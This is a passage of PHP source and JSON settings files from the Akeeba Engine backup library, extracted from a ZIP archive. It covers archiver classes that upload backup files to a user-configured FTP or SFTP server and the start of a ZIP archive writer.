		Factory::getLog()->debug(__CLASS__ . " :: FTP connection status: " . ($this->connect_ok ? 'success' : 'FAIL'));
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '';
	}

	public function finalize()
	{
		// Nothing to do
	}

	/**
	 * "Magic" function called just before serialization of the object. Disconnects
	 * from the FTP server and allows PHP to serialize like normal.
	 *
	 * @return array The variables to serialize
	 */
	public function _onSerialize()
	{
		// Explicitally unset the ftpTransfer class so the destructor magic method is called (and the connection is closed)
		unset($this->ftpTransfer);

		return array_keys(get_object_vars($this));
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Are we connected to a server?
		if (!$this->ftpTransfer)
		{
			if (!$this->connectFTP())
			{
				return false;
			}
		}

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		if ($isDir)
		{
			// Just try to create the remote directory
			return $this->makeDirectory($targetName);
		}
		else
		{
			// We have a file we need to upload
			if ($isVirtual)
			{
				// Create a temporary file, upload, rename it
				$tempFileName = Factory::getTempFiles()->createRegisterTempFile();

				// Easy writing using file_put_contents
				if (@file_put_contents($tempFileName, $sourceNameOrData) === false)
				{
					throw new RuntimeException('Could not store virtual file ' . $targetName . ' to ' . $tempFileName . ' using file_put_contents() before uploading.');
				}

				// Upload the temporary file under the final name
				$res = $this->upload($tempFileName, $targetName);

				// Remove the temporary file
				Factory::getTempFiles()->unregisterAndDeleteTempFile($tempFileName, true);

				return $res;
			}
			else
			{
				// Upload a file
				return $this->upload($sourceNameOrData, $targetName);
			}
		}
	}

	/**
	 * Tries to connect to the remote FTP server and change into the initial directory
	 *
	 * @return bool True is connection successful, false otherwise
	 *
	 * @throws Exception
	 */
	protected function connectFTP()
	{
		Factory::getLog()->debug('Connecting to remote FTP');

		$options = [
			'host'      => $this->host,
			'port'      => $this->port,
			'username'  => $this->user,
			'password'  => $this->pass,
			'directory' => $this->initdir,
			'ssl'       => $this->usessl,
			'passive'   => $this->passive,
		];

		// Let the exceptions bubble up
		$this->ftpTransfer = new Ftp($options);

		return true;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want. If the
	 * directory doesn't exist, it creates it.
	 *
	 * @param $dir string The (realtive) remote directory
	 *
	 * @return bool True if successful, false otherwise.
	 */
	protected function ftp_chdir($dir)
	{
		// Calculate "real" (absolute) FTP path
		$realdir = $this->ftpTransfer->getPath($dir);

		if ($this->initdir == $realdir)
		{
			// Already there, do nothing
			return true;
		}

		$result = $this->ftpTransfer->isDir($realdir);

		if ($result === false)
		{
			// The directory doesn't exist, let's try to create it...
			if (!$this->makeDirectory($dir))
			{
				return false;
			}
		}

		return true;
	}

	/**
	 * Recursively create a directory in the FTP server
	 *
	 * @param   string  $dir  The directory to create
	 *
	 * @return  bool  True on success
	 */
	protected function makeDirectory($dir)
	{
		$alldirs     = explode('/', $dir);
		$previousDir = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$previousDir = substr($previousDir, 0, 1) == '/' ? $previousDir : '/' . $previousDir;

		foreach ($alldirs as $curdir)
		{
			$check = $previousDir . '/' . $curdir;

			if (!$this->ftpTransfer->isDir($check))
			{
				if (@$this->ftpTransfer->mkdir($check) === false)
				{
					throw new RuntimeException('Could not create directory ' . $dir);
				}
			}

			$previousDir = $check;
		}

		return true;
	}

	/**
	 * Uploads a file to the remote server
	 *
	 * @param $sourceName string The absolute path to the source local file
	 * @param $targetName string The relative path to the targer remote file
	 *
	 * @return bool True if successful
	 */
	protected function upload($sourceName, $targetName)
	{
		// Try to change into the remote directory, possibly creating it if it doesn't exist
		$dir = dirname($targetName);

		if (!$this->ftp_chdir($dir))
		{
			return false;
		}

		// Upload
		$realdir  = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$realdir  .= '/' . $dir;
		$realdir  = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;
		$realname = $realdir . '/' . basename($targetName);

		try
		{
			$res = $this->ftpTransfer->upload($sourceName, $realname);
		}
		catch (RuntimeException $e)
		{
			$res = false;
		}

		if (!$res)
		{
			// If the file was unreadable, just skip it...
			if (is_readable($sourceName))
			{
				throw new RuntimeException('Uploading ' . $targetName . ' has failed.');
			}

			Factory::getLog()->warning('Uploading ' . $targetName . ' has failed because the file is unreadable.');

			return true;
		}

		$this->ftpTransfer->chmod($realname, 0644);

		return true;
	}
}
PK     \a    3  vendor/akeeba/engine/engine/Archiver/directftp.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION"
    },
    "engine.archiver.directftp.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_HOST_DESCRIPTION"
    },
    "engine.archiver.directftp.port": {
        "default": "21",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PORT_DESCRIPTION"
    },
    "engine.archiver.directftp.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_USER_DESCRIPTION"
    },
    "engine.archiver.directftp.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION"
    },
    "engine.archiver.directftp.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION"
    },
    "engine.archiver.directftp.ftps": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_FTPS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_FTPS_DESCRIPTION"
    },
    "engine.archiver.directftp.passive_mode": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION"
    },
    "engine.archiver.directftp.ftp_test": {
        "default": "0",
        "type": "button",
        "hook": "directftp_test_connection",
        "title": "COM_AKEEBA_CONFIG_DIRECTFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTFTP_TEST_DESCRIPTION"
    }
}PK     \j  j  8  vendor/akeeba/engine/engine/Archiver/directsftpcurl.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_HOST_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.port": {
        "default": "22",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_PORT_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_USER_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.privkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.pubkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION"
    },
    "engine.archiver.directsftpcurl.sftp_test": {
        "default": "0",
        "type": "button",
        "hook": "directsftp_test_connection",
        "title": "COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_DIRECTSFTP_TEST_DESCRIPTION"
    }
}PK     \_$  $  3  vendor/akeeba/engine/engine/Archiver/Directsftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\Sftp;
use RuntimeException;

/**
 * Direct Transfer Over SFTP archiver class
 *
 * Transfers the files to a remote SFTP server instead of putting them in
 * an archive
 *
 */
class Directsftp extends Base
{
	/** @var bool Could we connect to the server? */
	public $connect_ok = false;
	/** @var Sftp SFTP resource handle */
	private $sftpTransfer = false;
	/** @var string SFTP hostname */
	private $host;
	/** @var string SFTP port */
	private $port;
	/** @var string SFTP username */
	private $user;
	/** @var string SFTP password */
	private $pass;
	/** @var string Private key file */
	private $privkey;
	/** @var string Private key file */
	private $pubkey;
	/** @var string FTP initial directory */
	private $initdir;

	/**
	 * Initialises the archiver class, seeding the remote installation
	 * from an existent installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive (ignored in this class)
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance");

		$registry = Factory::getConfiguration();

		$this->host    = $registry->get('engine.archiver.directsftp.host', '');
		$this->port    = $registry->get('engine.archiver.directsftp.port', '22');
		$this->user    = $registry->get('engine.archiver.directsftp.user', '');
		$this->pass    = $registry->get('engine.archiver.directsftp.pass', '');
		$this->privkey = $registry->get('engine.archiver.directsftp.privkey', '');
		$this->pubkey  = $registry->get('engine.archiver.directsftp.pubkey', '');
		$this->initdir = $registry->get('engine.archiver.directsftp.initial_directory', '');

		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = $options['port'];
		}

		if (isset($options['user']))
		{
			$this->user = $options['user'];
		}

		if (isset($options['pass']))
		{
			$this->pass = $options['pass'];
		}

		if (isset($options['privkey']))
		{
			$this->privkey = $options['privkey'];
		}

		if (isset($options['pubkey']))
		{
			$this->pubkey = $options['pubkey'];
		}

		if (isset($options['initdir']))
		{
			$this->initdir = $options['initdir'];
		}

		// You can't fix stupid, but at least you get to shout at them
		if (strtolower(substr($this->host, 0, 7)) == 'sftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE sftp:// PROTOCOL PREFIX IN THE FTP HOSTNAME FIELD OF THE DirectSFTP ARCHIVER ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');

			$this->host = substr($this->host, 7);
		}

		$this->connect_ok = $this->connectSFTP();

		Factory::getLog()->debug(__CLASS__ . " :: SFTP connection status: " . ($this->connect_ok ? 'success' : 'FAIL'));
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '';
	}

	public function finalize()
	{
		// Nothing to do
	}

	/**
	 * "Magic" function called just before serialization of the object. Disconnects
	 * from the FTP server and allows PHP to serialize like normal.
	 *
	 * @return array The variables to serialize
	 */
	public function _onSerialize()
	{
		// Explicitally unset the sftpTransfer class so the destructor magic method is called (and the connection is closed)
		unset($this->sftpTransfer);

		return array_keys(get_object_vars($this));
	}

	/**
	 * Tries to connect to the remote SFTP server and change into the initial directory
	 *
	 * @return bool True is connection successful, false otherwise
	 */
	protected function connectSFTP()
	{
		Factory::getLog()->debug('Connecting to remote SFTP server');

		$options = [
			'host'       => $this->host,
			'port'       => $this->port,
			'username'   => $this->user,
			'password'   => $this->pass,
			'directory'  => $this->initdir,
			'privateKey' => $this->privkey,
			'publicKey'  => $this->pubkey,
		];

		$this->sftpTransfer = new Sftp($options);

		return true;
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Are we connected to a server?
		if (!$this->sftpTransfer)
		{
			if (!$this->connectSFTP())
			{
				return false;
			}
		}

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		if ($isDir)
		{
			// Just try to create the remote directory
			return $this->makeDirectory($targetName);
		}
		else
		{
			// We have a file we need to upload
			if ($isVirtual)
			{
				// Create a temporary file, upload, rename it
				$tempFileName = Factory::getTempFiles()->createRegisterTempFile();

				// Easy writing using file_put_contents
				if (@file_put_contents($tempFileName, $sourceNameOrData) === false)
				{
					throw new RuntimeException('Could not store virtual file ' . $targetName . ' to ' . $tempFileName . ' using file_put_contents() before uploading.');
				}

				// Upload the temporary file under the final name
				$res = $this->upload($tempFileName, $targetName);

				// Remove the temporary file
				Factory::getTempFiles()->unregisterAndDeleteTempFile($tempFileName, true);

				return $res;
			}
			else
			{
				// Upload a file
				return $this->upload($sourceNameOrData, $targetName);
			}
		}
	}

	protected function makeDirectory($dir)
	{
		$alldirs     = explode('/', $dir);
		$previousDir = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$previousDir = substr($previousDir, 0, 1) == '/' ? $previousDir : '/' . $previousDir;

		foreach ($alldirs as $curdir)
		{
			$check = $previousDir . '/' . $curdir;

			if (!@$this->sftpTransfer->isDir($check))
			{
				if ($this->sftpTransfer->mkdir($check) === false)
				{
					throw new RuntimeException('Could not create directory ' . $check);
				}
			}

			$previousDir = $check;
		}

		return true;
	}

	/**
	 * Uploads a file to the remote server
	 *
	 * @param $sourceName string The absolute path to the source local file
	 * @param $targetName string The relative path to the targer remote file
	 *
	 * @return bool True if successful
	 */
	protected function upload($sourceName, $targetName)
	{
		// Try to change into the remote directory, possibly creating it if it doesn't exist
		$dir = dirname($targetName);

		if (!$this->sftp_chdir($dir))
		{
			return false;
		}

		// Upload
		$realdir  = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$realdir  .= '/' . $dir;
		$realdir  = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;
		$realname = $realdir . '/' . basename($targetName);

		$this->sftpTransfer->upload($sourceName, $realname);

		return true;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want. If the
	 * directory doesn't exist, it creates it.
	 *
	 * @param $dir string The (realtive) remote directory
	 *
	 * @return bool True if successful, false otherwise.
	 */
	protected function sftp_chdir($dir)
	{
		// Calculate "real" (absolute) SFTP path
		$realdir = substr($this->initdir, -1) == '/' ? substr($this->initdir, 0, strlen($this->initdir) - 1) : $this->initdir;
		$realdir .= '/' . $dir;
		$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;

		if ($this->initdir == $realdir)
		{
			// Already there, do nothing
			return true;
		}

		$result = $this->sftpTransfer->isDir($realdir);

		if ($result === false)
		{
			// The directory doesn't exist, let's try to create it...
			if (!$this->makeDirectory($dir))
			{
				return false;
			}
		}

		return true;
	}
}
PK     \_
  
  -  vendor/akeeba/engine/engine/Archiver/zip.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION"
    },
    "engine.archiver.common.dereference_symlinks": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION"
    },
    "engine.archiver.common.part_size": {
        "default": "0",
        "type": "integer",
        "min": "0",
        "max": "2147483648",
        "shortcuts": "0|131072|262144|524288|1048576|2097152|5242880|10485760|20971520|52428800|104857600|268435456|536870912|1073741824|1610612736|2097152000",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_PARTSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_PARTSIZE_DESCRIPTION"
    },
    "engine.archiver.common.chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_CHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_CHUNKSIZE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    },
    "engine.archiver.common.big_file_threshold": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_DESCRIPTION"
    },
    "engine.archiver.zip.cd_glue_chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION"
    }
}PK     \U    6  vendor/akeeba/engine/engine/Archiver/Directftpcurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\Ftp;
use Akeeba\Engine\Util\Transfer\FtpCurl;
use RuntimeException;

/**
 * Direct Transfer Over FTP Over cURL archiver class
 *
 * Transfers the files to a remote FTP server instead of putting them in
 * an archive
 *
 */
class Directftpcurl extends Directftp
{
	/** @var bool Could we connect to the server? */
	public $connect_ok = false;
	/** @var Ftp FTP resource handle */
	protected $ftpTransfer;
	/** @var string FTP hostname */
	protected $host;
	/** @var string FTP port */
	protected $port;
	/** @var string FTP username */
	protected $user;
	/** @var string FTP password */
	protected $pass;
	/** @var bool Should we use FTP over SSL? */
	protected $usessl;
	/** @var bool Should we use passive FTP? */
	protected $passive;
	/** @var bool Enable the passive mode workaround? */
	protected $passiveWorkaround = true;
	/** @var string FTP initial directory */
	protected $initdir;

	/**
	 * Initialises the archiver class, seeding the remote installation
	 * from an existent installer's JPA archive.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive (ignored in this class)
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: new instance");

		$registry = Factory::getConfiguration();

		$this->host              = $registry->get('engine.archiver.directftpcurl.host', '');
		$this->port              = $registry->get('engine.archiver.directftpcurl.port', '21');
		$this->user              = $registry->get('engine.archiver.directftpcurl.user', '');
		$this->pass              = $registry->get('engine.archiver.directftpcurl.pass', '');
		$this->initdir           = $registry->get('engine.archiver.directftpcurl.initial_directory', '');
		$this->usessl            = $registry->get('engine.archiver.directftpcurl.ftps', false);
		$this->passive           = $registry->get('engine.archiver.directftpcurl.passive_mode', true);
		$this->passiveWorkaround = $registry->get('engine.archiver.directftpcurl.passive_mode_workaround', true);

		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = $options['port'];
		}

		if (isset($options['user']))
		{
			$this->user = $options['user'];
		}

		if (isset($options['pass']))
		{
			$this->pass = $options['pass'];
		}

		if (isset($options['initdir']))
		{
			$this->initdir = $options['initdir'];
		}

		if (isset($options['usessl']))
		{
			$this->usessl = $options['usessl'];
		}

		if (isset($options['passive']))
		{
			$this->passive = $options['passive'];
		}

		if (isset($options['passive_fix']))
		{
			$this->passiveWorkaround = $options['passive_fix'] ? true : false;
		}

		// You can't fix stupid, but at least you get to shout at them
		if (strtolower(substr($this->host, 0, 6)) == 'ftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE ftp:// PROTOCOL PREFIX IN THE FTP HOSTNAME FIELD OF THE DirectFTP ARCHIVER ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');
			$this->host = substr($this->host, 6);
		}

		$this->connect_ok = $this->connectFTP();

		Factory::getLog()->debug(__CLASS__ . " :: FTP connection status: " . ($this->connect_ok ? 'success' : 'FAIL'));
	}

	/**
	 * Tries to connect to the remote FTP server and change into the initial directory
	 *
	 * @return bool True is connection successful, false otherwise
	 *
	 * @throws RuntimeException
	 */
	protected function connectFTP()
	{
		Factory::getLog()->debug('Connecting to remote FTP');

		$options = [
			'host'        => $this->host,
			'port'        => $this->port,
			'username'    => $this->user,
			'password'    => $this->pass,
			'directory'   => $this->initdir,
			'ssl'         => $this->usessl,
			'passive'     => $this->passive,
			'passive_fix' => $this->passiveWorkaround,
		];

		$this->ftpTransfer = new FtpCurl($options);

		return true;
	}
}
PK     \JԲN  N  ,  vendor/akeeba/engine/engine/Archiver/Zip.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\CRC32;
use RuntimeException;

class Zip extends BaseArchiver
{
	/** @var string Beginning of central directory record. */
	private $centralDirectoryRecordStartSignature = "\x50\x4b\x01\x02";

	/** @var string End of central directory record. */
	private $centralDirectoryRecordEndSignature = "\x50\x4b\x05\x06";

	/** @var string Beginning of file contents. */
	private $fileHeaderSignature = "\x50\x4b\x03\x04";

	/** @var string The name of the temporary file holding the ZIP's Central Directory */
	private $centralDirectoryFilename;

	/** @var integer The total number of files and directories stored in the ZIP archive */
	private $totalFilesCount;

	/** @var integer The total size of data in the archive. Note: On 32-bit versions of PHP, this will overflow for archives over 2Gb! */
	private $totalCompressedSize = 0;

	/** @var integer The chunk size for CRC32 calculations */
	private $AkeebaPackerZIP_CHUNK_SIZE;

	/** @var int Current part file number */
	private $currentPartNumber = 1;

	/** @var int Total number of part files */
	private $totalParts = 1;

	/**
	 * Class constructor - initializes internal operating parameters
	 *
	 * @return  void
	 */
	public function __construct()
	{
		Factory::getLog()->debug(__CLASS__ . " :: New instance");

		// Find the optimal chunk size for ZIP archive processing
		$this->findOptimalChunkSize();

		Factory::getLog()->debug("Chunk size for CRC is now " . $this->AkeebaPackerZIP_CHUNK_SIZE . " bytes");

		// Should I use Symlink Target Storage?
		$this->enableSymlinkTargetStorage();

		parent::__construct();

		if (!function_exists('hash_file') || !function_exists('hash'))
		{
			$action = version_compare(PHP_VERSION, '7.4.0', 'lt')
				? 'Please ask your host to enable the PHP hash extension and to make sure the hash_file() and hash() functions are not disabled.'
				: 'Please ask your host to change their PHP configuration so that the hash_file() and hash() functions are not disabled.';

			Factory::getLog()->warning(
				sprintf(
					'Your server lacks support for the hash_file() and/or hash() functions. CRC32 checksum cannot be calculated. Third party ZIP extraction tools may report the backup archive as broken. %s',
					$action
				)
			);
		}
	}

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive.
	 *
	 * @param   string  $sourceJPAPath      Absolute path to an installer's JPA archive
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional). This is currently not supported
	 *
	 * @return void
	 */
	public function initialize($targetArchivePath, $options = [])
	{
		Factory::getLog()->debug(__CLASS__ . " :: initialize - archive $targetArchivePath");

		// Get names of temporary files
		$this->_dataFileName = $targetArchivePath;

		// Should we enable split archive feature?
		$this->enableSplitArchives();

		// Create the Central Directory temporary file
		$this->createCentralDirectoryTempFile();

		// Try to kill the archive if it exists
		$this->createNewBackupArchive();

		// On split archives, include the "Split ZIP" header, for PKZIP 2.50+ compatibility
		if ($this->useSplitArchive)
		{
			$this->openArchiveForOutput();
			$this->fwrite($this->fp, "\x50\x4b\x07\x08");
		}
	}

	public function finalize()
	{
		$this->finalizeZIPFile();
	}

	/**
	 * Glues the Central Directory of the ZIP file to the archive and takes care about the differences between single
	 * and multipart archives.
	 *
	 * Official ZIP file format: http://www.pkware.com/appnote.txt
	 *
	 * @return  void
	 */
	public function finalizeZIPFile()
	{
		// 1. Get size of central directory
		clearstatcache();
		$cdOffset                  = @filesize($this->_dataFileName);
		$this->totalCompressedSize += $cdOffset;
		$cdSize                    = @filesize($this->centralDirectoryFilename);

		// 2. Append Central Directory to data file and remove the CD temp file afterwards
		if (!is_null($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (!is_null($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		$this->openArchiveForOutput(true);

		/**
		 * Do not remove the fcloseByName line! This is required for post-processing multipart archives when for any
		 * reason $this->filePointers[$this->centralDirectoryFilename] contains null instead of boolean false. In this
		 * case the while loop would be stuck forever and the backup would fail. This HAS happened and I have been able
		 * to reproduce it but I did not have enough time to identify the real root cause. This workaround, however,
		 * works.
		 */
		$this->fcloseByName($this->centralDirectoryFilename);
		$this->cdfp = $this->fopen($this->centralDirectoryFilename, "r");

		if ($this->cdfp === false)
		{
			// Already glued, return
			$this->fclose($this->fp);
			$this->fp   = null;
			$this->cdfp = null;

			return;
		}

		// Comment length (I need it before I start gluing the archive)
		$comment_length = akstrlen($this->_comment);

		// Special consideration for split ZIP files
		if ($this->useSplitArchive)
		{
